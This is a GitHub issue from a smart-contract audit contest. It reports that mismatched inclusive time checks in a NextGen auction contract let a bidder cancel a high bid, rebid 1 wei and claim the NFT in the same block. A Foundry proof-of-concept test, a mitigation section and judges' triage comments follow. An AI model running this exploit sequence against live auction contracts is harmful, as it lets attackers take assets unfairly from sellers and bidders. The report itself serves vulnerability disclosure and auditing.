Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Auctions can be manipulated #1583

Closed
c4-submissions opened this issue Nov 13, 2023 · 7 comments
Closed

Auctions can be manipulated #1583

c4-submissions opened this issue Nov 13, 2023 · 7 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-1323 partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%)

Comments

@c4-submissions
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L57-L61
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124-L130

Vulnerability details

Impact

This vulnerability enables malicious actors to unfairly manipulate an auction and winning them with a minimal bid of 1 wei.

Vulnerability Details

When ending auction via claimAuction, there is a check to ensure that the auction has ended, using the inclusive inequality operator >=:

require(block.timestamp >= minter.getAuctionEndTime(_tokenid)

On the other hand, both the participateToAuction and cancelBid functions also have a check to ensure that the auction hasn't ended using an inclusive operator <=:

require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

Due to this combination of checks, a potential vulnerability arises. An attacker could take advantage of a specific scenario: At the beginning of the auction, the malicious party places an extremely high bid, preventing others from bidding. When the auction is about to end, during the same block where the auctionEndTime falls, the malicious party atomically cancels their bid, place a minimal bid of 1 wei, and settling the auction, winning the NFT.

Proof of Concept

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/interfaces/IERC20.sol";
import "forge-std/console.sol";

import "./AuctionDemo.sol";
import "./MockMinter.sol";
import "./MockERC721.sol";

contract NextGenAttack is Test {
    MockMinter public minter;
    MockERC721 public nft;
    auctionDemo public auction;

    address owner = address(0x999);

    function setUp() public {
        deal(address(this), 1000e18);

        minter = new MockMinter();
        nft = new MockERC721();
        auction = new auctionDemo(address(minter), address(nft), address(0));
        auction.transferOwnership(owner);
    }
    
    function testAttack() public {
        console.log("Balance before attack:", address(this).balance); // 1000000000000000000000
        
        uint256 tokenId = 1;
        uint256 auctionEnd = block.timestamp + 1000;
        minter.mintAndAuction(tokenId, auctionEnd);

        // 1. Bid with a ridiculous amount, ensuring no one else can bid
        auction.participateToAuction{value: 100e18}(tokenId);

        // 2. Wait until auctionEndTime
        skip(auctionEnd - block.timestamp);
        
        // 3. Atomically cancel previous bid, bid with 1 wei, and claim the auction
        auction.cancelBid(tokenId, 0);
        auction.participateToAuction{value: 1}(tokenId);
        auction.claimAuction(tokenId);

        console.log("Balance after attack:", address(this).balance); // 999999999999999999999
    }

    receive() external payable {}
}
pragma solidity ^0.8.19;

import "./IMinterContract.sol";

contract MockMinter is IMinterContract {
    mapping (uint256 => uint) private mintToAuctionData;

    mapping (uint256 => bool) private mintToAuctionStatus;

    function getAuctionEndTime(uint256 _tokenId) external view returns (uint) {
        return mintToAuctionData[_tokenId];
    }

    function getAuctionStatus(uint256 _tokenId) external view  returns (bool) {
        return mintToAuctionStatus[_tokenId];
    }

    function isMinterContract() external view override returns (bool) {
        return true;
    }

    function getEndTime(
        uint256 _collectionID
    ) external view override returns (uint) {
        return 0;
    }

    function mintAndAuction(uint256 _tokenId, uint256 _auctionEndTime) external {
        mintToAuctionData[_tokenId] = _auctionEndTime;
        mintToAuctionStatus[_tokenId] = true;
    }
}
pragma solidity ^0.8.19;

contract MockERC721 {
    mapping(uint256 => address) public tokenOwners;

    function ownerOf(uint256 _tokenId) external view returns (address) {
        return tokenOwners[_tokenId];
    }

    function setOwner(uint256 _tokenId, address _owner) external {
        tokenOwners[_tokenId] = _owner;
    }

    function safeTransferFrom(address from, address to, uint256 tokenId) external {}
}

Recommended Mitigation Steps

Implement a strict inequality check in the claimAuction function. Additionally, introduce a penalty mechanism for canceling bids, such as extending the auction duration by a predefined period (e.g., ten minutes), if bids are made during the final moments of the auction, to deter tactics involving last-minute bid cancellations and minimal rebidding.

Assessed type

Timing

@c4-submissions c4-submissions added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Nov 13, 2023
c4-submissions added a commit that referenced this issue Nov 13, 2023
@c4-pre-sort
Copy link

141345 marked the issue as duplicate of #962

@c4-judge c4-judge reopened this Dec 2, 2023
@c4-judge
Copy link

c4-judge commented Dec 2, 2023

alex-ppg marked the issue as not a duplicate

@c4-judge
Copy link

c4-judge commented Dec 2, 2023

alex-ppg marked the issue as duplicate of #1784

@c4-judge
Copy link

c4-judge commented Dec 7, 2023

alex-ppg marked the issue as duplicate of #1323

@c4-judge
Copy link

c4-judge commented Dec 8, 2023

alex-ppg marked the issue as partial-50

@c4-judge c4-judge added partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%) satisfactory satisfies C4 submission criteria; eligible for awards and removed partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%) labels Dec 8, 2023
@c4-judge
Copy link

c4-judge commented Dec 8, 2023

alex-ppg marked the issue as satisfactory

@c4-judge c4-judge added partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%) and removed satisfactory satisfies C4 submission criteria; eligible for awards labels Dec 8, 2023
@c4-judge
Copy link

c4-judge commented Dec 8, 2023

alex-ppg marked the issue as partial-50

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-1323 partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%)
Projects
None yet
Development

No branches or pull requests

3 participants